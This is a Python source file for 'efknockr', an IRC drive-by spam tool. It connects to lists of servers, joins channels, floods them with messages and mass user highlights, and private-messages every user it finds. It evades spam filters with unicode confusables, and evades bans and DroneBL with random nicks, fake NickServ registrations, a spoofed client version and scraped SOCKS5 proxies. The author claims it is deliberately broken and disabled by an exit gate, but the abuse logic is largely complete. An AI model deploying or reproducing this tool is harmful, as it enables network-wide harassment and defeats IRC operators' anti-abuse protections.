#!/usr/bin/env python # efknockr (internet relay chat drive-by tool) - developed by acidvegas in python (https://git.acid.vegas/efknockr) ''' WARNING: This script is riddled with purposely made mistakes to prevent abuse LOL. ''' import asyncio import ipaddress import os import random import re import ssl import sys import time import urllib.request class settings: chan_first = False # Finish knocking channels before sending private messages confuse = True # Use unicode confusables in messages to avoid spamfilters daemon = False # Run in daemon mode (24/7 throttled knocking) errors = True # Show errors in console errors_conn = False # Show connection errors in console exploits = False # Use a exploit payloads mass_hl = True # Hilite all the users in a channel before parting part_msg = 'Smell ya l8r' # Send a custom part message when leaving channels proxies = False # Connect with proxies proxies_only = False # Only connect with proxies proxies_scan = False # Scan for new proxies proxies_local = False # Use proxies from proxies.txt register = True # Register with NickServ before joining channels register_chan = '#EFKnockr' # Set to None to disable channel registrations register_chan_topic = 'EFK' # Topic to set for the registered channel class throttle: channels = 3 if not settings.daemon else 2 # Maximum number of channels to knock at once connect = 15 if not settings.daemon else 60 # Delay between each connection attempt on a diffferent port delay = 300 if not settings.daemon else 600 # Delay before registering nick (if enabled) & sending /LIST jdelay = 3 if not settings.daemon else 10 # Delay before messaging a channel join = 10 if not settings.daemon else 30 # Delay between channel JOINs message = 1.5 if not settings.daemon else 3 # Delay between each message sent nick = 300 if not settings.daemon else 600 # Delay between every random NICK change nicks = 5 if not settings.daemon else 15 # Delay between each nick private messaged private = 5 if not settings.daemon else 15 # Delay between private messages pthreads = 500 if not settings.daemon else 300 # Maximum number of threads for proxy checking ptimeout = 15 if not settings.daemon else 30 # Timeout for all sockets seconds = 300 if not settings.daemon else 600 # Maximum seconds to wait when throttled for JOIN or PM users = 10 if not settings.daemon else 5 # Minimum number of users in a channel to knock threads = 500 if not settings.daemon else 50 # Maximum number of threads running timeout = 30 if not settings.daemon else 60 # Timeout for all sockets ztimeout = 200 if not settings.daemon else 300 # Timeout for zero data from server ;) ;) ;) messages = ( 'This message has been brought to you by EFknockr!', 'WHAT IS UP PORT 6667!?', ['multi','lined','message','example'], ['cant',' stop',' me','cause',' im a',' pumper'], 'b i g a c i d v e g a s h a s u' ) class bad: donotscan = ( 'irc.terahertz.net', '165.254.255.25', '2001:728:1808::25', 'irc.dronebl.org', 'irc.alphachat.net', '5.9.164.48', '45.32.74.177', '104.238.146.46', '149.248.55.130', '2001:19f0:6001:1dc::1', '2001:19f0:b001:ce3::1', '2a01:4f8:160:2501:48:164:9:5', '2001:19f0:6401:17c::1' ) chan = { '403' : 'ERR_NOSUCHCHANNEL', '405' : 'ERR_TOOMANYCHANNELS', '435' : 'ERR_BANONCHAN', '442' : 'ERR_NOTONCHANNEL', '448' : 'ERR_FORBIDDENCHANNEL', '470' : 'ERR_LINKCHANNEL', '471' : 'ERR_CHANNELISFULL', '473' : 'ERR_INVITEONLYCHAN', '474' : 'ERR_BANNEDFROMCHAN', '475' : 'ERR_BADCHANNELKEY', '476' : 'ERR_BADCHANMASK', '477' : 'ERR_NEEDREGGEDNICK', '479' : 'ERR_BADCHANNAME', '480' : 'ERR_THROTTLE', '485' : 'ERR_CHANBANREASON', '488' : 'ERR_NOSSL', '489' : 'ERR_SECUREONLYCHAN', '519' : 'ERR_TOOMANYUSERS', '520' : 'ERR_OPERONLY', '926' : 'ERR_BADCHANNEL' } error = { 'install identd' : 'Identd required', 'trying to reconnect too fast' : 'Throttled', 'trying to (re)connect too fast' : 'Throttled', 'reconnecting too fast' : 'Throttled', 'access denied' : 'Access denied', 'not authorized to' : 'Not authorized', 'not authorised to' : 'Not authorized', 'password mismatch' : 'Password mismatch', 'dronebl' : 'DroneBL', 'dnsbl' : 'DNSBL', 'g:lined' : 'G:Lined', 'z:lined' : 'Z:Lined', 'timeout' : 'Timeout', 'closing link' : 'Banned', 'banned' : 'Banned', 'client exited' : 'QUIT', 'quit' : 'QUIT' } # Globals all_proxies = list() good_proxies = list() def confuse(data): if settings.confuse: chars = '' for char in data: if random.choice((True,False,False)): if char == ' ': chars += '\u00A0' elif char.lower() in ('abcdefghijklmnopqrstvwyz'): chars += char + random.choice(('\u200B','\u2060','\x0f','\x03\x0f')) else: chars += char else: chars += char return ''.join(chars) else: return data def debug(data): print('{0} \033[1;30m|\033[0m [\033[35m~\033[0m] {1}'.format(time.strftime('%I:%M:%S'), data)) def error(data, reason=None): if settings.errors: print('{0} \033[1;30m|\033[0m [\033[31m!\033[0m] {1} \033[1;30m({2})\033[0m'.format(time.strftime('%I:%M:%S'), data, str(reason))) if reason else print('{0} \033[1;30m|\033[0m [\033[31m!\033[0m] {1}'.format(time.strftime('%I:%M:%S'), data)) def get_proxies(): urls = ( 'https://find-your-own-proxies.com/socks5.txt', 'https://find-your-own-proxies.com/socks5.txt', 'https://find-your-own-proxies.com/socks5.txt' ) proxies = list() for url in urls: try: req = urllib.request.Request(url) req.add_header('User-Agent', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') source = urllib.request.urlopen(req, timeout=10).read().decode() proxies+= list(set([proxy for proxy in re.findall('[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+', source, re.MULTILINE) if proxy not in proxies])) except Exception as ex: error('failed to grab new proxies!', ex) return proxies if proxies else False async def check_proxy(semaphore, proxy): async with semaphore: ip, port = proxy.split(':') options = { 'proxy' : aiosocks.Socks5Addr(proxy.split(':')[0], int(proxy.split(':')[1])), 'proxy_auth' : None, 'dst' : ('www.google.com',80), 'limit' : 1024, 'ssl' : None, 'family' : 2 } try: await asyncio.wait_for(aiosocks.open_connection(**options), throttle.ptimeout) except: pass else: debug('\033[1;32mGOOD\033[0m \033[1;30m|\033[0m ' + proxy) if ip not in all_proxies: all_proxies.append(ip) good_proxies.append(proxy) def rndnick(): prefix = random.choice(['st','sn','cr','pl','pr','fr','fl','qu','br','gr','sh','sk','tr','kl','wr','bl']+list('bcdfgklmnprstvwz')) midfix = random.choice(('aeiou'))+random.choice(('aeiou'))+random.choice(('bcdfgklmnprstvwz')) suffix = random.choice(['ed','est','er','le','ly','y','ies','iest','ian','ion','est','ing','led','inger']+list('abcdfgklmnprstvwz')) return prefix+midfix+suffix def ssl_ctx(): ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE return ctx class probe: def __init__(self, semaphore, server, proxy=None): self.semaphore = semaphore self.server = server self.proxy = proxy self.display = server.ljust(18)+' \033[1;30m|\033[0m unknown network \033[1;30m|\033[0m ' self.nickname = rndnick() self.channels = {'all':list(), 'current':list(), 'users':dict(), 'bad':list()} self.nicks = {'all':list(), 'chan':dict(), 'check':list(), 'bad':list()} self.loops = {'init':None, 'chan':None, 'nick':None, 'pm':None} self.jthrottle = throttle.join self.nthrottle = throttle.private self.reader = None self.write = None async def sendmsg(self, target, msg): await self.raw(f'PRIVMSG {target} :{msg}') async def run(self): async with self.semaphore: try: await self.connect() # 6697 except Exception as ex: if settings.errors_conn: error(self.display + '\033[1;31mdisconnected\033[0m - failed to connect using SSL/TLS!', ex) await asyncio.sleep(throttle.connect) try: await self.connect(True) # 6667 except Exception as ex: if settings.errors_conn: error(self.display + '\033[1;31mdisconnected\033[0m - failed to connect!', ex) async def raw(self, data): self.writer.write(data[:510].encode('utf-8') + b'\r\n') await self.writer.drain() async def connect(self, fallback=False): if self.proxy: auth = self.proxy.split('@')[0].split(':') if '@' in self.proxy else None proxy_ip, proxy_port = self.proxy.split('@')[1].split(':') if '@' in self.proxy else self.proxy.split(':') options = { 'proxy' : aiosocks.Socks5Addr(proxy_ip, proxy_port), 'proxy_auth' : aiosocks.Socks5Auth(*auth) if auth else None, 'dst' : (self.server,6667) if fallback else (self.server,6697), 'limit' : 1024, 'ssl' : None if fallback else ssl_ctx(), 'family' : 2 } self.reader, self.writer = await asyncio.wait_for(aiosocks.open_connection(**options), throttle.timeout) else: options = { 'host' : self.server, 'port' : 6667 if fallback else 6697, 'limit' : 1024, 'ssl' : None if fallback else ssl_ctx(), 'family' : 2 } self.reader, self.writer = await asyncio.wait_for(asyncio.open_connection(**options), throttle.timeout) del options await self.raw('USER {0} 0 * :{1}'.format(rndnick(), rndnick())) await self.raw('NICK ' + self.nickname) await self.listen() for item in self.loops: if self.loops[item]: self.loops[item].cancel() debug(self.display + 'finished knocking') async def loop_initial(self): try: await asyncio.sleep(throttle.delay) mail = rndnick() + '@' + random.choice(('gmail.com','hotmail.com','yahoo.com','outlook.com','protonmail.com','mail.com',rndnick()+random.choice(('com','org','net')))) cmds = [f'PRIVMSG NickServ :REGISTER {rndnick()} {mail}', 'LIST'] for command in cmds: try: await self.raw(command) except: break else: await asyncio.sleep(3) if not self.channels['all']: error(self.display + '\033[31merror\033[0m - no channels found') await self.raw('QUIT') except asyncio.CancelledError: pass except Exception as ex: error(self.display + '\033[31merror\033[0m - loop_initial', ex) async def loop_channels(self): try: while self.channels['all']: while len(self.channels['current']) >= throttle.channels: await asyncio.sleep(1) await asyncio.sleep(self.jthrottle) chan = random.choice(self.channels['all']) self.channels['all'].remove(chan) try: await self.raw('JOIN ' + chan) except: break if settings.chan_first: self.loops['pm'] = asyncio.create_task(self.loop_private()) while self.nicks['check']: await asyncio.sleep(1) self.loops['nick'].cancel() self.loops['pm'].cancel() await self.raw('QUIT') except asyncio.CancelledError: pass except Exception as ex: error(self.display + '\033[31merror\033[0m - loop_channels', ex) async def loop_nick(self): try: while True: await asyncio.sleep(throttle.nick) self.nickname = rndnick() await self.raw('NICK ' + self.nickname) except asyncio.CancelledError: pass except Exception as ex: error(self.display + '\033[31merror\033[0m - loop_nick', ex) async def loop_private(self): try: while True: if self.nicks['check']: nick = random.choice(self.nicks['check']) self.nicks['check'].remove(nick) try: msg = random.choice(messages) if type(msg) == list: for i in msg: if nick in self.nicks['bad']: self.nicks['bad'].remove(nick) break else: await self.sendmsg(nick, confuse(i)) await asyncio.sleep(throttle.message) else: await self.sendmsg(nick, confuse(msg)) except: break else: del nick await asyncio.sleep(throttle.nicks) else: await asyncio.sleep(1) except asyncio.CancelledError: pass except Exception as ex: error(self.display + '\033[31merror\033[0m - loop_private', ex) async def listen(self): while True: try: if self.reader.at_eof(): break data = await asyncio.wait_for(self.reader.readuntil(b'\r\n'), throttle.ztimeout) line = data.decode('utf-8').strip() args = line.split() event = args[1].upper() if event in bad.chan and len(args) >= 4: chan = args[3] if chan in self.channels['users']: del self.channels['users'][chan] if chan in self.nicks['chan']: del self.nicks['chan'][chan] error(f'{self.display}\033[31merror\033[0m - {chan}', bad.chan[event]) elif line.startswith('ERROR :'): check = [check for check in bad.error if check in line.lower()] if check: raise Exception(bad.error[check[0]]) elif args[0] == 'PING': await self.raw('PONG ' + args[1][1:]) elif event == '001': #RPL_WELCOME host = args[0][1:] if len(host) > 25: self.display = f'{self.server.ljust(18)} \033[1;30m|\033[0m {host[:22]}... \033[1;30m|\033[0m ' else: self.display = f'{self.server.ljust(18)} \033[1;30m|\033[0m {host.ljust(25)} \033[1;30m|\033[0m ' debug(self.display + f'\033[1;32mconnected\033[0m') self.loops['init'] = asyncio.create_task(self.loop_initial()) elif event == '315' and len(args) >= 3: #RPL_ENDOFWHO chan = args[3] await asyncio.sleep(throttle.jdelay) msg = random.choice(messages) if type(msg) == list: for i in msg: if chan in self.channels['bad']: self.channels['bad'].remove(chan) break else: await self.sendmsg(chan, confuse(i)) await asyncio.sleep(throttle.message) else: await self.sendmsg(chan, confuse(msg)) if settings.exploits: pass # TODO: add exploits if settings.mass_hl: self.nicks['chan'][chan] = ' '.join(self.nicks['chan'][chan]) if len(self.nicks['chan'][chan]) <= 400: await self.sendmsg(chan, self.nicks['chan'][chan]) else: while len(self.nicks['chan'][chan]) > 400: if chan in self.channels['bad']: self.channels['bad'].remove(chan) break else: segment = self.nicks['chan'][chan][:400] segment = segment[:-len(segment.split()[len(segment.split())-1])] await self.sendmsg(chan, segment) self.nicks['chan'][chan] = self.nicks['chan'][chan][len(segment):] await asyncio.sleep(throttle.message) await self.raw(f'PART {chan} :{settings.part_msg}') self.channels['current'].remove(chan) del self.nicks['chan'][chan] if chan in self.channels['bad']: self.channels['bad'].remove(chan) elif event == '322' and len(args) >= 4: # RPL_LIST chan = args[3] users = args[4] if len(self.channels['all']) >= 20000: error(self.display + 'LIST tarpit detected!') # Make it wuddup error(self.display + 'LIST tarpit detected!') # stand out pi55 error(self.display + 'LIST tarpit detected!') # more n3t self.snapshot['TARPIT'] = True await self.raw('QUIT') if users != '0': # no need to JOIN empty channels... if chan not in ('#dronebl','#help','#opers'): # lets avoid the channels that are going to get use banned/blacklisted self.channels['all'].append(chan) self.channels['users'][chan] = users elif event == '323': # RPL_LISTEND if self.channels['all']: debug(self.display + '\033[36mLIST\033[0m found \033[93m{0}\033[0m channel(s)'.format(str(len(self.channels['all'])))) self.loops['chan'] = asyncio.create_task(self.loop_channels()) self.loops['nick'] = asyncio.create_task(self.loop_nick()) if not settings.chan_first: self.loops['pm'] = asyncio.create_task(self.loop_private()) elif event == '352' and len(args) >= 8: # RPL_WHORPL chan = args[3] nick = args[7] self.nicks['chan'][chan].append(nick) if nick not in self.nicks['all']+[self.nickname,]: self.nicks['all'].append(nick) self.nicks['check'].append(nick) elif event == '366' and len(args) >= 4: # RPL_ENDOFNAMES chan = args[3] self.nicks['chan'][chan] = list() self.channels['current'].append(chan) if chan in self.channels['users']: debug('{0}\033[32mJOIN\033[0m {1} \033[1;30m(found \033[93m{2}\033[0m users)\033[0m'.format(self.display, chan, self.channels['users'][chan])) del self.channels['users'][chan] await self.raw('WHO ' + chan) # MADE YOU LOOK LOL GET FUCKED XD elif event == '404' and len(args) >= 5: # ERR_CANNOTSENDTOCHAN chan = args[3] msg = ' '.join(args[4:])[1:] error(self.display + '\033[31merror\033[0m - failed to knock ' + chan, msg) if chan not in self.channels['bad']: self.channels['bad'].append(chan) elif event == '421' and len(args) >= 3: # ERR_UNKNOWNCOMMAND msg = ' '.join(args[2:]) if 'You must be connected for' in msg: error(self.display + '\033[31merror\033[0m - delay found', msg) elif event == '433': # ERR_NICKINUSE self.nickname = rndnick() await self.raw('NICK ' + self.nickname) elif event == '439' and len(args) >= 11: # ERR_TARGETTOOFAST target = args[3] msg = ' '.join(args[4:])[1:] seconds = args[10] if target[:1] in ('#','&'): self.channels['all'].append(target) if seconds.isdigit(): self.jthrottle = throttle.seconds if int(seconds) > throttle.seconds else int(seconds) else: self.nicks['check'].append(target) if seconds.isdigit(): self.nthrottle = throttle.seconds if int(seconds) > throttle.seconds else int(seconds) error(self.display + '\033[31merror\033[0m - delay found for ' + target, msg) elif event == '465': # ERR_YOUREBANNEDCREEP check = [check for check in bad.error if check in line.lower()] if check: raise Exception(bad.error[check[0]]) elif event == '464': # ERR_PASSWDMISMATCH raise Exception('Network has a password') elif event == '487': # ERR_MSGSERVICES if '"/msg NickServ" is no longer supported' in line: # TODO: need to do this for ChanServ aswell await self.raw('/NickServ REGISTER {0} {1}'.format(rndnick(), f'{rndnick()}@{rndnick()}.com')) elif args[1] in ('716','717'): # RPL_TARGUMODEG / RPL_TARGNOTIFY nick = args[2] #TODO: verify this is the correct arguement if nick not in self.nicks['bad']: self.nicks['bad'].append(nick) elif event == 'KICK' and len(args) >= 4: chan = args[2] kicked = args[3] if kicked == self.nickname: if chan in self.channels['current']: self.channels['current'].remove(chan) elif event == 'KILL': nick = args[2] if nick == self.nickname: raise Exception('KILL') elif event == 'MODE' and len(args) == 4: nick = args[2] if nick == self.nickname: mode = args[3][1:] if mode == '+r': chan = settings.register_chan + '_' + str(random.randint(10,99)) await self.raw('JOIN ' + chan) await self.raw(f'TOPIC {chan} :' + settings.register_chan_topic) await self.sendmsg('ChanServ', 'REGISTER ' + chan) await self.sendmsg('ChanServ', f'SET {chan} KEEPTOPIC ON') await self.sendmsg('ChanServ', f'SET {chan} NOEXPIRE ON') await self.sendmsg('ChanServ', f'SET {chan} PERSIST ON') await self.sendmsg('ChanServ', f'SET {chan} DESCRIPTION ' + settings.register_chan_topic) await self.raw('PART ' + chan) elif event in ('NOTICE','PRIVMSG') and len(args) >= 4: nick = args[0].split('!')[1:] target = args[2] msg = ' '.join(args[3:])[1:] if target == self.nickname: for i in ('proxy','proxys','proxies'): if i in msg.lower(): check = [x for x in ('bopm','hopm') if x in line] if check: error(f'{self.display}\033[93m{check[0].upper()} detected\033[0m') else: error(self.display + '\033[93mProxy Monitor detected\033[0m') for i in ('You must have been using this nick for','You must be connected for','not connected long enough','Please wait', 'You cannot list within the first'): if i in msg: error(self.display + '\033[31merror\033[0m - delay found', msg) break if msg[:8] == '\001VERSION': version = random.choice(('http://www.mibbit.com ajax IRC Client','mIRC v6.35 Khaled Mardam-Bey','xchat 0.24.1 Linux 2.6.27-8-eeepc i686','rZNC Version 1.0 [02/01/11] - Built from ZNC','thelounge v3.0.0 -- https://thelounge.chat/')) await self.raw(f'NOTICE {nick} \001VERSION {version}\001') elif '!' not in args[0]: if 'dronebl.org/lookup' in msg: error(self.display + '\033[93mDroneBL detected\033[0m') raise Exception('DroneBL') else: if [i for i in ('You\'re banned','You are permanently banned','You are banned','You are not welcome','Temporary K-line') if i in msg]: raise Exception('K-Lined') except (UnicodeDecodeError, UnicodeEncodeError): pass except Exception as ex: error(self.display + '\033[1;31mdisconnected\033[0m', ex) break async def main_b(targets): sema = asyncio.BoundedSemaphore(throttle.pthreads) # B O U N D E D S E M A P H O R E G A N G jobs = list() for target in targets: jobs.append(asyncio.ensure_future(check_proxy(sema, target))) await asyncio.gather(*jobs) async def main_a(targets): sema = asyncio.BoundedSemaphore(throttle.threads) # B O U N D E D S E M A P H O R E G A N G jobs = list() if settings.proxies: if settings.proxies_scan: proxies = None del all_proxies[:len(all_proxies)] del good_proxies[:len(good_proxies)] while not good_proxies: debug('scanning for fresh Socks5 proxies...') proxies = get_proxies() if proxies: debug(f'testing {len(proxies):,} proxies...') await main_b(proxies) if not good_proxies: await asyncio.sleep(300) else: await asyncio.sleep(300) debug(f'found {len(good_proxies):,} proxies') elif settings.proxies_local: with open('proxies.txt', 'r') as f: good_proxies = [line.rstrip() for line in f.readlines() if line] else: raise SystemExit('error: invalid proxy mode (must use either proxy scanning or local proxies)') for target in targets: try: ipaddress.IPv4Address(target) except: error('invalid ip address', target) else: if settings.proxies: for proxy in good_proxies: # Todo: we should check if this is empty before running jobs.append(asyncio.ensure_future(probe(sema, target, proxy).run())) if not settings.proxies_only: jobs.append(asyncio.ensure_future(probe(sema, target).run())) random.shuffle(jobs) await asyncio.gather(*jobs) # Main print('#'*56) print('#{:^54}#'.format('')) print('#{:^54}#'.format('EFknockr (internet relay chat beacon)')) print('#{:^54}#'.format('Developed by acidvegas in Python')) print('#{:^54}#'.format('https://git.acid.vegas/efknockr')) print('#{:^54}#'.format('')) print('#'*56) if True: raise SystemExit('those who are not skids may figure out how to use this...') # ;) by removing this you agree to only test this on your own server(s) LOLOLOOL if settings.proxies: try: import aiosocks except ImportError: raise SystemExit('missing required library \'aiosocks\' (https://pypi.org/project/aiosocks/)') if len(sys.argv) != 2: raise SystemExit('error: invalid arguments') targets_file = sys.argv[1] if not os.path.isfile(targets_file): raise SystemExit('error: invalid file path') targets = [line.rstrip() for line in open(targets_file).readlines() if line and line not in bad.donotscan] del targets_file debug(f'loaded {len(targets):,} targets') while True: asyncio.run(main_a(targets)) debug('EFknockr has finished knocking!!') if not settings.daemon: break